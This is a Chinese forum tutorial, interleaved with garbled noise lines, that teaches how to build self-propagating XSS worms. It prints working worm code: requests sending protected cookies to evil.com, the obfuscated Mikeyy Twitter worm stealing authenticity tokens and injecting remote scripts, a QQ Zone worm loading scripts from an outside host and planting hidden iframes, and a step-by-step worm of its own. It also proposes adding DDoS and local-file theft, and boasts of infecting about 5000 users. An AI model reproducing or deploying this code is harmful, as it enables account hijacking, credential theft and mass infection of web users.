! |% o; R  W8 e: w0 {7 Tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
! `6 t4 }! P* Z: s
, M1 P# F6 |6 q5 F! ?XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

  Q. a- T  z- q( X( K$ EXmlHttp.send(null);

0 z9 Q& e! ~) M& p& Y1 W</script>
4 Y- o9 e. f5 D1 V, \( U# L3 s复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
3 Z! w' S  R0 `5 i% z# t
9 }: ^/ ^' B. U- X
' f8 p  W$ X; Q* I
6 Y$ @4 z' \& MXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

4 b/ w1 h( U9 [- `0 x1 cXmlHttp.send(null);
0 U! ~" a( b2 `. m9 N: i0 o
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
2 d$ U8 F- u6 G3 T. ^" k; H复制代码案例:Twitter 蠕蟲五度發威
第一版:
/ P/ q+ A; }, ~0 {1 |5 K  下载 (5.1 KB)
2 k1 u# r9 j  i8 g4 U( E
' G( k( I: Y$ ^1 s, Q" q6 天前 08:27

" x/ u  x( N" ]) b2 P第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
  N3 C0 N; R2 c! b: _2 c
+ P! V' b7 h) m6 U% x; N8 v! i' P- a   2.   

   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

& ?1 O, n% w3 k- J1 n   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

/ P" Y) t- o1 p   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

8 \+ Q+ ~$ d" o0 E, b. G/ M. B   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
5 P: s" H7 ^5 l' g* X# O4 z
   2.   var content = document.documentElement.innerHTML;  
. e8 U' N+ D  C, [) `% Y8 O
   3.   var tmp_cookie=document.cookie;  

' |, {- a. x6 Y2 M  ?/ Z/ X   4.   var tmp_posted=tmp_cookie.match(/posted/);  
( o+ z6 `* v# w% M& P& S+ Z
% P1 V9 v! }0 A8 U   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
+ [% J- G; l/ B; e1 f* r9 c6 O
   6.   var authtoken=authreg.exec(content);  
0 L/ j! K" i  [9 M
% f2 C9 Y: n) V3 X* g+ n5 X   7.   var authtoken=authtoken[1];  

% m- K5 r! c5 p: t   8.   var randomUpdate= new Array();  
/ |+ S+ C" [7 E
# f+ F. G8 T# O& D& g- R* ]   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
/ @( g9 o. i( q0 i2 O
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
, }, w/ [' t3 T1 c4 p. J5 c( R" e
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
) k# |. @/ U) I+ a6 s
. b/ x+ Q9 }: l# C; t  Y( \8 T  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
: a' A& n$ G" [" w6 E
7 x& x- l& x6 @9 t" `% E$ l! X  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

* C( B. ~$ G4 O( w* I' G- L% t  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
. i6 j& |0 J6 ]  @
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

3 X( r% T* a( W$ Y+ O0 b% X  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
# d% a1 C5 E7 a: V5 `4 W# V* V' P
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
/ O4 A# v$ f- J' C% Z/ j
* j. A) P4 }/ P- i  V, b& [5 [, F" P3 f* U  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  N! X4 W4 h1 i  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

$ t% E# y  C, Z; U7 M0 Y  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
" r1 \; m8 o' h7 W. L" r( K
$ z, k& Q9 X1 `6 A  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     
3 U% J# `" ?5 H
& L0 }8 D" W0 ^& ~3 ~0 H: S  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

, g7 M% P) Y' }  D4 V  28.   var ajaxConn= new XHConn();  
7 w" R& I- O& _
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
9 D! t5 a  J5 H7 P
  30.   var _0xf81bx1c="Mikeyy";  
5 P3 Y1 V+ G) \
  31.   var updateEncode=urlencode(_0xf81bx1c);  
, d- h7 B) ?; ?% t
3 G5 U5 c& ^& W  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

, B  O! `9 r6 S* x, H  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
" v, M' O( N4 _3 K# k
5 x: |4 J( C$ X; z3 i  35.   var XSS=urlencode(genXSS);  
9 Y+ T) p$ v; Z
- b% `6 _3 `% N! i  36.   var ajaxConn2= new XHConn();  
/ l5 {* L; b( P3 b9 H
# f. c0 S7 n; b! _' l  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
: a( r& ^  \& T+ v! ~
2 i; w- P" X2 w% S4 a2 `: A  38.     

! d- `9 t7 F& c0 S" y. g2 W  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
+ v7 |' U2 O8 t! |) R+ L1 Z
window.onerror=killErrors;


1 O* Q+ {" a5 A% {) {8 U
var shendu;shendu=4;

//---------------global---v------------------------------------------

, Z' x; L3 O% M4 W/ I2 o//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

# O/ j/ U: Q0 z1 o& Zvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
$ ]9 u8 P+ f+ k! V* C! c; ~( o( p# u
var myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");
( e3 E1 ?1 ~, b* i, @8 C
+ P) i* L# n$ y, b2 b. D2 C( R        gurl=gurl.substring(0,gurle+3);        
. f# W+ m+ [0 A! S% _- T
* Q( b8 j1 Z+ A) r5 n- r        var visitorID=top.document.documentElement.outerHTML;

3 c  h" Z- O/ M6 r' G2 }+ k2 s7 |/ k           var cookieS=visitorID.indexOf("g_iLoginUin = ");
8 l+ l# [& |8 b) r4 F' Q
        visitorID=visitorID.substring(cookieS+14);

, t2 Y! Y6 P! W5 e) x3 r+ l7 q        cookieS=visitorID.indexOf(",");

  B" t7 M& d5 M% g; b9 _        visitorID=visitorID.substring(0,cookieS);

7 @( i0 Q# F2 K. ~; ^& T  U8 ]        get_my_blog(visitorID);

        DOshuamy();

( L4 g; e* j# G( j6 X

. \3 J/ @4 z' G# I3 n# |8 W' Y8 Y. M//挂马

function DOshuamy(){

var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
- k8 C4 E. p4 }  C
$ H- R- J4 E( t/ t}



//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
( q9 `$ \) |, o3 i5 ^
function get_my_blog(visitorID){

4 h4 F9 z+ m8 p( n0 x+ }   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
$ R' ^7 ^* D! k% h+ @. Z  ^
   if(xhr){    //成功就执行下面的
0 Z; z9 A5 @- N/ M$ U2 P- `+ A7 s6 B
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;

2 g- D4 {1 w2 P4 M9 {# T. z/ J- A     get_my_blogurl(guest);    //执行这个函数

3 d6 [5 ~/ Y$ z8 s) X    }
& u; r* s  Y/ ]% Z8 b4 n
}



8 u+ A/ U) g+ e- S* V5 V: C//这里似乎是判断没有登录的

function get_my_blogurl(guest){

6 J4 U- A6 \2 r6 {( j  M  var mybloglist=guest;
5 m2 D  ?1 ^( g" j: _% z( h/ V
  var myurls;var blogids;var blogide;
; G# I$ D1 x& @" s
9 z$ Q* x. L  W0 F  i" y  for(i=0;i<shendu;i++){

6 h. C  E( N9 `/ Y+ d     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
: k+ |" S1 `' N
     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

) `9 @# S3 J; ]         myurls=mybloglist.indexOf(')');
& D# H! L; r0 d9 x0 f. D
% j4 ~0 R: \. O1 ?9 J0 @+ P4 Y         myblogid=mybloglist.substring(0,myurls);
* A5 \( D' `# U
6 `2 |7 r, ^/ C        }else{break;}
# R, A! y" f, l5 x( D
' _& s/ [7 M/ E' Z5 h& q" `$ ?}
: K" u* u! {- G
; k3 N* i7 M# E* C1 pget_my_testself();    //执行这个函数

}
6 z6 _- {% d- [. s* h* h

8 O5 [4 {) r! `3 |
//这里往哪跳就不知道了

( i$ v1 \9 d) R9 cfunction get_my_testself(){
& j- }9 E% i5 {2 D8 k3 G/ r' o
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
& w- u" n$ }% c0 [. x0 y+ U8 ?
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
2 I0 j. O# |. E3 h. L5 g( L# m
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
4 w/ O7 f4 M5 g9 n1 w
1 ~# O$ w: r+ w              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

              guest2=xhr2.responseText;

2 D0 c' t- ^" A- u# i              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

& ~) T( T+ }. {- C+ q0 a0 k% G              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
1 M5 w& R  H9 d, M
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

1 _. V4 q: g. |" p% n; o                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
( @. h4 A# U* X# }( I8 B1 L# \4 P
               }

, m* f( Y8 S; g% a% K              if(mycheckit=="-1"){
5 i1 e. R; s* q" H! h5 M4 n
+ Y9 r/ i+ V/ x% Y                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
! h! q: n2 q5 C3 P( e
               }
! e5 S* u& J7 R& H% V# v
        }      
/ ]9 p4 U# `, R: @; X
" J, c' M2 X/ w8 _# b" T( z4 D}
( d- M+ Z3 ^- O" B
7 T2 a# F& U( ~/ n% Y) `2 ?# Z  A}


( U) y( D0 r% J4 U
3 N1 U* F; x4 Y$ t! ~//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象
  O# D& o4 @4 @) R3 c
5 |; b: {8 W/ A, J( Zfunction createXMLHttpRequest(){

, h% Z0 a5 `2 e" G, P    var XMLhttpObject=null;  

. ]* ?1 ~' ~5 g) K+ G5 J- n! B    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  
; v. W; W4 V$ s2 x4 i
5 h2 Q& D( V& z1 `; ?9 N3 N      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
$ t5 H3 m, e* G" J, S2 _' Z
        for(var i=0;i<MSXML.length;i++)  

/ c8 B) v3 [& j: W& u! K        {  

$ ?$ d! h  E' v; k0 t. \/ a            try  
( Z4 j# b( g, e
            {  

; f3 d1 o) }+ e) y9 a$ J0 \; g$ t                XMLhttpObject=new ActiveXObject(MSXML);  
8 G  M- _' q( h# d4 O9 [
                break;  
8 a4 z$ |+ z4 r
0 {8 J( j8 b; r1 Z" ]; `1 D            }  

. A6 Z, B( v; |( G5 i9 G' R            catch (ex) {  

            }  

2 H( x) R( N# l+ x' ]; R3 }         }  

      }
8 N( b3 b+ }& Y. z4 _/ n
. ?8 {: o7 D2 A; M( p3 Greturn XMLhttpObject;
- \3 i3 r) a  X2 z& `
}  
8 B  J: L9 ~. D

- E' [) r# x+ U! q" v% f
//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

7 X/ z7 ]) O; t# O; s! E% \var s2=document.createElement('script');

% r1 J, b. V7 n5 {s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

! z: E$ r2 p& E9 z  X! a. s" ]s2.type='text/javascript';
& t1 B8 c% C  F2 B" O0 S/ Z; x; \
0 g% z9 F1 q; }2 t; ?2 I- q- Jdocument.getElementsByTagName('head').item(0).appendChild(s2);

; w2 h: o4 r5 z& P% \/ G* g* f# R}
% P; {- N: f3 K/ }% C
/ o1 `( s  ]# u( I. g8 |

function add_jsdel(visitorID,targetblogurlid,gurl){
0 {' @: u- K5 C* n* D, C
var s2=document.createElement('script');
' A: d6 Y, S' L2 N9 Z- O& j: D* u$ H
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
( B% A& R2 u+ Z
s2.type='text/javascript';

- U; m. |) l1 @# Z. Q1 _8 Odocument.getElementsByTagName('head').item(0).appendChild(s2);
) }. p5 Q( {5 p6 s0 F
" l- v- ]% b3 W, |- N5 x2 q3 l* c3 N}
9 X  u4 j6 |: E' D复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
# e" e3 k( b8 _" A' R, ^. [1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

4 \$ Y- G: @# j# d5 R* X2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

- O% ~: ]4 G  T6 X/ Y% A" N0 {综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
) W& F( x, v; }2 Z
$ ~- G1 _" B- R/ c# \2 r8 E
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
$ c$ h; X2 u' @  H7 X3 R6 F
% B; w3 p7 l" a, T3 D1 P  o9 q. Z8 v首先,自然是判断不同浏览器,创建不同的对象var request = false;
  v. G6 @7 l2 w- ]" N4 x
9 e  v0 Q9 `3 i8 c# ^$ t, p+ y2 Aif(window.XMLHttpRequest) {
' j: R1 m" X5 p+ g$ q
( S- m/ m/ P, c& Z1 K# r( nrequest = new XMLHttpRequest();
7 ?. T2 d: Z% n: ]
if(request.overrideMimeType) {
' K0 G" y8 T5 s
5 Z! @7 H  A( x3 A) l9 ?  ~% X& irequest.overrideMimeType('text/xml');
7 q2 j0 b$ ^( N& ?. y7 W0 m0 {  O# b
}
1 g# Q* }6 ?3 M7 M8 |9 K
0 T- ^4 |6 J5 e+ E3 z0 D4 n} else if(window.ActiveXObject) {

* L1 Y6 ^1 {5 }/ i- W2 T4 K) Y% svar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  b% b! \5 X6 H- H2 X% r
for(var i=0; i<versions.length; i++) {

try {
) J. J2 X$ U( @, \
% n1 q& L( f; a; arequest = new ActiveXObject(versions);

" Y6 Z3 f, U! \: {4 K. V) G} catch(e) {}
8 H! T. d4 W- K, s
3 u' {8 b5 ^8 A6 W! u- m& g4 w}
/ j; W* {; H0 X: h$ P/ ~% B
}
1 q9 M3 G1 P9 T0 G0 f
9 ^) T4 G' S: u2 F3 h; gxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
/ V& P, ]) i& y8 f/ k3 D7 @& Y" V
        var Browser_Version=parseFloat(navigator.appVersion);
7 J/ b/ w' q" a
! l3 }; P4 q+ m        var Browser_Agent=navigator.userAgent;

        

8 H, Z7 U/ @5 ?9 w0 A: X0 @5 O" F) B4 C        var Actual_Version,Actual_Name;

        
; r, g+ p( U* l( Y( _: `5 S; \2 g
8 _/ J+ g# C0 T8 j( ^# n' t        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
. w, r( G: J9 J" @
        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
! C+ w% p* L  P& ]5 Q( c
        

        if(is_NN){
; ~. h! _! _. H8 R$ l) |  i
            if(Browser_Version>=5.0){
; L% T* Q' t% n% z, @
& X4 c  Z8 e7 k( f2 R                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
/ f' R3 Q9 K' k$ ]( U
/ T6 {1 q  y: T5 B6 r9 w                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
! Z( ]7 o" A, n/ N% H7 N" K
7 H- w& l( q! X' ?7 R            }

0 \0 Q0 e  A6 V# n5 L0 n            else{
: C$ d7 M2 g0 p* ]
* z) t! p6 T- R                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

            }

        }
# ^, P9 Z3 h9 M( R
        else if(is_IE){
! u, H. `6 Z, w
            var Version_Start=Browser_Agent.indexOf("MSIE");
+ h& r* Z5 K% m- e% M
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ f. C  I& }1 Y( S5 t
            Actual_Name=Browser_Name;
1 @2 X% F" P1 X
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

& K% U) B1 N( o( ^& m; o0 ~                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
( C% z& {$ ?; b3 i
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
) u7 p' {; p; f8 t2 F* y$ _
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

9 H, V7 i' R8 ~            }

; s5 g& T) Y( W        }

" b' y4 Z/ F0 z5 |* ^( U5 c. p& o        else if(is_Ch){

  `! C4 r- u, H' G+ h5 q            var Version_Start=Browser_Agent.indexOf("Chrome");
+ o) W5 r. Q: O0 R8 Z* _
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ u, K$ Q2 D1 Z4 Q9 D! h- h2 Z
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

: {9 }5 }% r% I) u' ^            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
, w& C$ o+ b# O
                Actual_Name+="(Maxthon)";

            }
6 ]; I+ f; V/ |7 b
            else if(Browser_Agent.indexOf("Opera")!=-1){

5 k; c$ T8 B! V9 l+ n                Actual_Name="Opera";
& }3 G& ~1 Q5 h; t- m# f0 j
                var tempstart=Browser_Agent.indexOf("Opera");
4 k% `( p3 O$ M8 j; X
7 c" U& J0 }4 X                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
7 H, C0 B: ]* V' g( D
% u8 |  _) f6 q1 H2 C4 K. f( ^7 v            }

        }

        else{

* G0 i4 ]+ @# j: M( ?" _# t; R            Actual_Name="Unknown Navigator"

+ T$ }3 m8 L. g; N            Actual_Version="Unknown Version"

0 G4 X" o8 J7 L+ R( }/ q$ e2 Q: S: [4 F        }

/ b9 S$ U! y' S. h8 N- Q

8 A- o8 D2 T9 [* w1 O        navigator.Actual_Name=Actual_Name;
" g! m# x0 E$ [
        navigator.Actual_Version=Actual_Version;
+ U' ~7 d6 |4 b9 [4 L6 S7 l. `, W
( z# E& Y- V6 [5 Z; U1 o        

        this.Name=Actual_Name;
7 H3 v# W* J* ]- Q6 Q  t
        this.Version=Actual_Version;
: X  O5 G# ~( M' L4 U# q! A
; d8 R# S0 \7 ~. w. j! }# {; w    }

    browserinfo();
9 Q& [7 |$ m9 p/ s' i! E: }
% p; T1 `4 q" P( Q3 }5 v    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

# v+ Z; q! G0 [) m  c0 R    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
5 c2 |9 ^& N- O) u
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
# z' e& r' I$ j0 j/ g复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

  c8 K! H5 j8 lxmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

  t9 @' p, ?6 u4 {- m0 Ovar id=0;var result;
( e" o7 ~& Y' {. @# G
1 h. K0 V! H8 q  o: D& G+ h! jvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

- {$ Q+ \+ p( C, Twhile ((result = patt.exec(resource)) != null)  {

id++;

}
& e4 C" W8 Q  K4 d复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
6 R8 i1 _2 i; }
) q$ ~, g9 g  x+ g% s4 Zvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
& y5 Z9 |* X( A5 ]7 J5 ]# m
6 g' f8 g) y8 ~xmlHttpReq.setRequestHeader("content-length",post.length);
/ c+ a* S$ C# c8 ^# |
. i7 V! B1 h  q+ r; X5 Q( sxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
' [- b0 |5 P4 B. a# x
7 ^" o$ {3 @3 TxmlHttpReq.send(post);

1 o. Q- ]4 H- N6 b}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

& H& p" U6 X! Q9 Kvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

$ D. C) T8 H' S* ?% P& wvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

4 F# L: L2 f. J& u2 q& k6 ]: `var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

/ j5 B( G. a1 P* ]- F  O7 cvar post="wd="+wd;

- p$ {" z- n3 f0 G; I: L# DxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
' G; x6 B" n) i: S4 w
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

9 O+ o9 ~6 Q* Z3 R8 @: c+ l5 dxmlHttpReq.setRequestHeader("content-length",post.length);
2 Y: ?/ W0 l# f: U+ m
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

0 x- L4 F! B5 w6 {xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
/ X) d. c1 o1 Z
- @& F) G! y; p$ r5 h* g

本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
6 h6 O2 y0 L0 e% k: i' @5 q操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
1 N1 p; z. n+ d. q7 S/ y+ y( F
$ W. @7 b7 k9 E
# ]) X( s$ E) X3 X

1 Z8 n6 |6 O$ M

% J( Y$ n0 v0 ]/ \& W- b! _4 q
% u7 N3 }) m: b
本文引用文档资料:
# ]2 N1 `3 C8 G; }, Q0 u2 W
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
; P" Q- q! D& u7 {' M8 ^http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
4 R: A! f$ n, ?  A3 g空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/